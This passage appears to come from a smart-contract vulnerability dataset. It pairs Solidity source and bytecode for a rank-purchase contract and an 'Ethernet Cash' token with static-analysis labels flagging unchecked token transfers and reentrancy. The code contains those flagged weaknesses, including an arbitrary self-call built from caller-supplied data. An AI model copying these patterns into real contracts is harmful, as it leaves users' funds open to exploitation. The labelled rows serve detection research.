_landLimit,_title,_priceCandy,_priceEth); } function editRank(uint _index, uint _priceCandy, uint _priceEth) onlyManager public { require(_index > 0 && _index <= ranksCount); if (_index > 1) { require(ranks[_index - 1].priceCandy <= _priceCandy && ranks[_index - 1].priceEth <= _priceEth); } if (_index < ranksCount) { require(ranks[_index + 1].priceCandy >= _priceCandy && ranks[_index + 1].priceEth >= _priceEth); } Rank storage r = ranks[_index]; r.priceCandy = _priceCandy; r.priceEth = _priceEth; emit RankChange(_index, _priceCandy, _priceEth); } function buyNextRank() public { _buyNextRank(msg.sender); } function _receiveBuyNextRank(address _beneficiary) onlySelf onlyPayloadSize(1) public { _buyNextRank(_beneficiary); } function buyRank(uint _index) public { _buyRank(msg.sender, _index); } function _receiveBuyRank(address _beneficiary, uint _index) onlySelf onlyPayloadSize(2) public { _buyRank(_beneficiary, _index); } function _buyNextRank(address _beneficiary) internal { uint _index = userRanks[_beneficiary] + 1; require(_index <= ranksCount); require(candyToken.transferFrom(_beneficiary, this, ranks[_index].priceCandy)); userRanks[_beneficiary] = _index; emit BuyNextRank(_beneficiary, _index); } function _buyRank(address _beneficiary, uint _index) internal { require(_index <= ranksCount); require(userRanks[_beneficiary] < _index); uint fullPrice = _getPrice(userRanks[_beneficiary], _index); require(candyToken.transferFrom(_beneficiary, this, fullPrice)); userRanks[_beneficiary] = _index; emit BuyRank(_beneficiary, _index); } function getPreSaleRank(address _user, uint _index) onlyManager whilePresaleOpen public { require(_index <= ranksCount); require(userRanks[_user] < _index); userRanks[_user] = _index; emit BuyRank(_user, _index); } function getNextRank(address _user) onlyUnicornContract public returns (uint) { uint _index = userRanks[_user] + 1; require(_index <= ranksCount); userRanks[_user] = _index; return _index; emit BuyNextRank(msg.sender, _index); } function getRank(address _user, uint _index) onlyUnicornContract public { require(_index <= ranksCount); require(userRanks[_user] <= _index); userRanks[_user] = _index; emit BuyRank(_user, _index); } function _getPrice(uint _userRank, uint _index) private view returns (uint) { uint fullPrice = 0; for(uint i = _userRank+1; i <= _index; i++) { fullPrice = fullPrice.add(ranks[i].priceCandy); } return fullPrice; } function getIndividualPrice(address _user, uint _index) public view returns (uint) { require(_index <= ranksCount); require(userRanks[_user] < _index); return _getPrice(userRanks[_user], _index); } function getRankPriceCandy(uint _index) public view returns (uint) { return ranks[_index].priceCandy; } function getRankPriceEth(uint _index) public view returns (uint) { return ranks[_index].priceEth; } function getRankLandLimit(uint _index) public view returns (uint) { return ranks[_index].landLimit; } function getRankTitle(uint _index) public view returns (string) { return ranks[_index].title; } function getUserRank(address _user) public view returns (uint) { return userRanks[_user]; } function getUserLandLimit(address _user) public view returns (uint) { return ranks[userRanks[_user]].landLimit; } function withdrawTokens() public onlyManager { require(candyToken.balanceOf(this) > 0); candyToken.transfer(landManagement.walletAddress(), candyToken.balanceOf(this)); emit TokensTransferred(landManagement.walletAddress(), candyToken.balanceOf(this)); } function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public { //require(_token == landManagement.candyToken()); require(msg.sender == address(candyToken)); require(allowedFuncs[bytesToBytes4(_extraData)]); require(address(this).call(_extraData)); emit ReceiveApproval(_from, _value, _token); } }
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303fba4441461014e5780630422ddf31461018757806333575f64146101b457806337e822b8146101d75780634d5edd281461024f57806357e8f4011461029c5780636201510a146102e957806376cc1c5c1461032b57806387da18ee146103805780638d8f2adb146103b75780638f4ffcb1146103cc57806391361f641461047057806395c0d65c146104a7578063a63f5e2a146104dc578063b2d1573f14610531578063b90da4961461057e578063c299a3941461061a578063ca21500514610667578063cc537821146106bd578063df927bbe146106d2578063dfd5dd6b14610783578063e1c7392a146107ac578063f0bae787146107c1578063f793596914610803578063fedbceba14610845575b600080fd5b341561015957600080fd5b610185600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061087c565b005b341561019257600080fd5b61019a6108db565b604051808215151515815260200191505060405180910390f35b34156101bf57600080fd5b6101d5600480803590602001909190505061097d565b005b34156101e257600080fd5b61024d600480803590602001909190803590602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061098a565b005b341561025a57600080fd5b610286600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bcd565b6040518082815260200191505060405180910390f35b34156102a757600080fd5b6102d3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610be5565b6040518082815260200191505060405180910390f35b34156102f457600080fd5b610329600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c44565b005b341561033657600080fd5b61033e610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038b57600080fd5b6103a16004808035906020019091905050610ed7565b6040518082815260200191505060405180910390f35b34156103c257600080fd5b6103ca610ef7565b005b34156103d757600080fd5b61046e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506114cd565b005b341561047b57600080fd5b61049160048080359060200190919050506116d2565b6040518082815260200191505060405180910390f35b34156104b257600080fd5b6104da60048080359060200190919080359060200190919080359060200190919050506116f2565b005b34156104e757600080fd5b6104ef611908565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053c57600080fd5b610568600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061192e565b6040518082815260200191505060405180910390f35b341561058957600080fd5b61059f6004808035906020019091905050611977565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105df5780820151818401526020810190506105c4565b50505050905090810190601f16801561060c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561062557600080fd5b610651600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a35565b6040518082815260200191505060405180910390f35b341561067257600080fd5b6106a7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611bb8565b6040518082815260200191505060405180910390f35b34156106c857600080fd5b6106d0611c69565b005b34156106dd57600080fd5b6106f36004808035906020019091905050611c74565b6040518085815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561074557808201518184015260208101905061072a565b50505050905090810190601f1680156107725780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b341561078e57600080fd5b610796611d3c565b6040518082815260200191505060405180910390f35b34156107b757600080fd5b6107bf611d42565b005b34156107cc57600080fd5b610801600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611f20565b005b341561080e57600080fd5b610843600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611f81565b005b341561085057600080fd5b6108666004808035906020019091905050612153565b6040518082815260200191505060405180910390f35b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b657600080fd5b6001600460208202016000369050101515156108ce57fe5b6108d782612173565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561096157600080fd5b5af1151561096e57600080fd5b50505060405180519050905090565b6109873382612391565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638f84aa096040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610a1057600080fd5b5af11515610a1d57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6057600080fd5b836003600060045481526020019081526020016000206001015411158015610aa05750826003600060045481526020019081526020016000206002015411155b1515610aab57600080fd5b600460008154809291906001019190505550600360006004548152602001908152602001600020905084816000018190555083816001018190555082816002018190555081816003019080519060200190610b0792919061275b565b507f05729762929e986d1fe82b54483bad2fb34d3cbc29bd75963172a383fa6b9e6b600454868487876040518086815260200185815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015610b88578082015181840152602081019050610b6d565b50505050905090810190601f168015610bb55780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a15050505050565b60056020528060005260406000206000915090505481565b600060036000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020600001549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610cc857600080fd5b5af11515610cd557600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bee6348a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610d9c57600080fd5b5af11515610da957600080fd5b505050604051805190501515610dbe57600080fd5b6004548111151515610dcf57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610e1c57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f7c285278a6f3f22a0cad07d8b4ef15786e47537bdcd4c3feea587a7a4730ca78826040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060036000838152602001908152602001600020600201549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610f7b57600080fd5b5af11515610f8857600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fcb57600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561108957600080fd5b5af1151561109657600080fd5b505050604051805190501115156110ac57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ad5b3ea6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561116e57600080fd5b5af1151561117b57600080fd5b50505060405180519050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561124157600080fd5b5af1151561124e57600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112dc57600080fd5b5af115156112e957600080fd5b50505060405180519050507f12f4533b5cbd2c9f8a0752a2d0b16379af992dbb2a0844a5007a19d983b3a9346000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ad5b3ea6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561139957600080fd5b5af115156113a657600080fd5b50505060405180519050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561146c57600080fd5b5af1151561147957600080fd5b50505060405180519050604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152957600080fd5b60016000611536836125ed565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff16151561159b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168160405180828051906020019080838360005b838110156115e05780820151818401526020810190506115c5565b50505050905090810190601f16801561160d5780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561162d57600080fd5b7f098d215dbf4904f38cce693a04004ed58db6d54491b91c083e277144ce38b4ee848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a150505050565b600060036000838152602001908152602001600020600101549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561177857600080fd5b5af1151561178557600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c857600080fd5b6000841180156117da57506004548411155b15156117e557600080fd5b600184111561183c5782600360006001870381526020019081526020016000206001015411158015611830575081600360006001870381526020019081526020016000206002015411155b151561183b57600080fd5b5b6004548410156118945782600360006001870181526020019081526020016000206001015410158015611888575081600360006001870181526020019081526020016000206002015410155b151561189357600080fd5b5b6003600085815260200190815260200160002090508281600101819055508181600201819055507f8728a3f263cd7d74408fb626174f9fd9e8b3b8ace475f0bf36fc91cd4035178584848460405180848152602001838152602001828152602001935050505060405180910390a150505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61197f6127db565b600360008381526020019081526020016000206003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a295780601f106119fe57610100808354040283529160200191611a29565b820191906000526020600020905b815481529060010190602001808311611a0c57829003601f168201915b50505050509050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663541334f6336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611af357600080fd5b5af11515611b0057600080fd5b505050604051805190501515611b1557600080fd5b6001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540190506004548111151515611b6b57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080915050919050565b60006004548211151515611bcb57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515611c1857600080fd5b611c61600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126e2565b905092915050565b611c7233612173565b565b6003602052806000526040600020600091509050806000015490806001015490806002015490806003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d325780601f10611d0757610100808354040283529160200191611d32565b820191906000526020600020905b815481529060010190602001808311611d1557829003601f168201915b5050505050905084565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d9d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611e2157600080fd5b5af11515611e2e57600080fd5b505050604051805190501515611e4357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a63f5e2a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611ec757600080fd5b5af11515611ed457600080fd5b50505060405180519050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f5a57600080fd5b600260046020820201600036905010151515611f7257fe5b611f7c8383612391565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663541334f6336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561203c57600080fd5b5af1151561204957600080fd5b50505060405180519050151561205e57600080fd5b600454811115151561206f57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515156120bd57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f7c285278a6f3f22a0cad07d8b4ef15786e47537bdcd4c3feea587a7a4730ca78826040518082815260200191505060405180910390a25050565b600060036000838152602001908152602001600020600001549050919050565b60006001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905060045481111515156121cb57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd833060036000868152602001908152602001600020600101546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156122d957600080fd5b5af115156122e657600080fd5b5050506040518051905015156122fb57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff2f6ca45f704fd1c9ce0e91f8d553b9d11c0ef903a49b78d7de368f638151afd826040518082815260200191505060405180910390a25050565b600060045482111515156123a457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156123f157600080fd5b61243a600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126e2565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8430846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561253457600080fd5b5af1151561254157600080fd5b50505060405180519050151561255657600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f7c285278a6f3f22a0cad07d8b4ef15786e47537bdcd4c3feea587a7a4730ca78836040518082815260200191505060405180910390a2505050565b600080600090505b60048110156126dc576003819060020a0260ff7f010000000000000000000000000000000000000000000000000000000000000002848381518110151561263857fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060020a90048217915080806001019150506125f5565b50919050565b60008060008091506001850190505b83811115156127325761272360036000838152602001908152602001600020600101548361273d90919063ffffffff16565b915080806001019150506126f1565b819250505092915050565b600080828401905083811015151561275157fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061279c57805160ff19168380011785556127ca565b828001600101855582156127ca579182015b828111156127c95782518255916020019190600101906127ae565b5b5090506127d791906127ef565b5090565b602060405190810160405280600081525090565b61281191905b8082111561280d5760008160009055506001016127f5565b5090565b905600a165627a7a72305820f8cb70e391e5ae8fa144ad3b3bb2ca3a87d3d58e965e9978036fc9ea75437ab50029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
221
0x039f5050de4908f9b5ddf40a4f3aa3f329086387
pragma solidity ^0.4.16; /*-------------------------------------------------------------------------*/ /* * Website : https://ethernet.cash * Email : contact(a)ethernet.cash */ /*-------------------------------------------------------------------------*/ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } /*-------------------------------------------------------------------------*/ contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner == 0x0) throw; owner = newOwner; } } /*-------------------------------------------------------------------------*/ /** * Overflow aware uint math functions. */ contract SafeMath { //internals function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } /*-------------------------------------------------------------------------*/ contract EthernetCash is owned, SafeMath { string public EthernetCashWebsite = "https://ethernet.cash"; address public EthernetCashAddress = this; address public creator = msg.sender; string public name = "Ethernet Cash"; string public symbol = "ENC"; uint8 public decimals = 18; uint256 public totalSupply = 19999999986000000000000000000; uint256 public buyPrice = 1800000; uint256 public sellPrice = 1800000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool frozen); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function EthernetCash() public { balanceOf[msg.sender] = totalSupply; creator = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Buy tokens from contract by sending ether function () payable internal { uint amount = msg.value * buyPrice ; uint amountRaised; uint bonus = 0; bonus = getBonus(amount); amount = amount + bonus; //amount = now ; require(balanceOf[creator] >= amount); require(msg.value > 0); amountRaised = safeAdd(amountRaised, msg.value); balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], amount); balanceOf[creator] = safeSub(balanceOf[creator], amount); Transfer(creator, msg.sender, amount); creator.transfer(amountRaised); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } function getBonus(uint _amount) constant private returns (uint256) { if(now >= 1524873600 && now <= 1527551999) { return _amount * 50 / 100; } if(now >= 1527552000 && now <= 1530316799) { return _amount * 40 / 100; } if(now >= 1530316800 && now <= 1532995199) { return _amount * 30 / 100; } if(now >= 1532995200 && now <= 1535759999) { return _amount * 20 / 100; } if(now >= 1535760000 && now <= 1538438399) { return _amount * 10 / 100; } return 0; } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } } /*-------------------------------------------------------------------------*/
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461026157806305fefda71461029257806306fdde03146102af578063095ea7b31461033957806318160ddd146103715780631d41161214610398578063313ce567146103ad57806342966c68146103d85780634490efe3146103f05780634b7503341461040557806370a082311461041a57806379c650681461043b57806379cc67901461045f5780638620410b146104835780638da5cb5b1461049857806395d89b41146104ad578063a9059cbb146104c2578063b414d4b6146104e6578063cae9ca5114610507578063dd62ed3e14610570578063e4849b3214610597578063e724529c146105af578063f2fde38b146105d5575b6008543402600080610143836105f6565b600354600160a060020a03166000908152600a60205260409020549381019390915083111561017157600080fd5b6000341161017e57600080fd5b61018882346106cd565b336000908152600a60205260409020549092506101a590846106cd565b336000908152600a602052604080822092909255600354600160a060020a0316815220546101d390846106f1565b60038054600160a060020a039081166000908152600a60209081526040918290209490945591548251878152925133949190921692600080516020610e14833981519152929081900390910190a3600354604051600160a060020a039091169083156108fc029084906000818181858888f1935050505015801561025b573d6000803e3d6000fd5b50505050005b34801561026d57600080fd5b50610276610705565b60408051600160a060020a039092168252519081900360200190f35b34801561029e57600080fd5b506102ad600435602435610714565b005b3480156102bb57600080fd5b506102c4610736565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102fe5781810151838201526020016102e6565b50505050905090810190601f16801561032b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034557600080fd5b5061035d600160a060020a03600435166024356107c4565b604080519115158252519081900360200190f35b34801561037d57600080fd5b506103866107f1565b60408051918252519081900360200190f35b3480156103a457600080fd5b506102766107f7565b3480156103b957600080fd5b506103c2610806565b6040805160ff9092168252519081900360200190f35b3480156103e457600080fd5b5061035d60043561080f565b3480156103fc57600080fd5b506102c4610887565b34801561041157600080fd5b506103866108e1565b34801561042657600080fd5b50610386600160a060020a03600435166108e7565b34801561044757600080fd5b506102ad600160a060020a03600435166024356108f9565b34801561046b57600080fd5b5061035d600160a060020a036004351660243561098b565b34801561048f57600080fd5b50610386610a5c565b3480156104a457600080fd5b50610276610a62565b3480156104b957600080fd5b506102c4610a71565b3480156104ce57600080fd5b506102ad600160a060020a0360043516602435610acc565b3480156104f257600080fd5b5061035d600160a060020a0360043516610adb565b34801561051357600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261035d948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610af09650505050505050565b34801561057c57600080fd5b50610386600160a060020a0360043581169060243516610c09565b3480156105a357600080fd5b506102ad600435610c26565b3480156105bb57600080fd5b506102ad600160a06002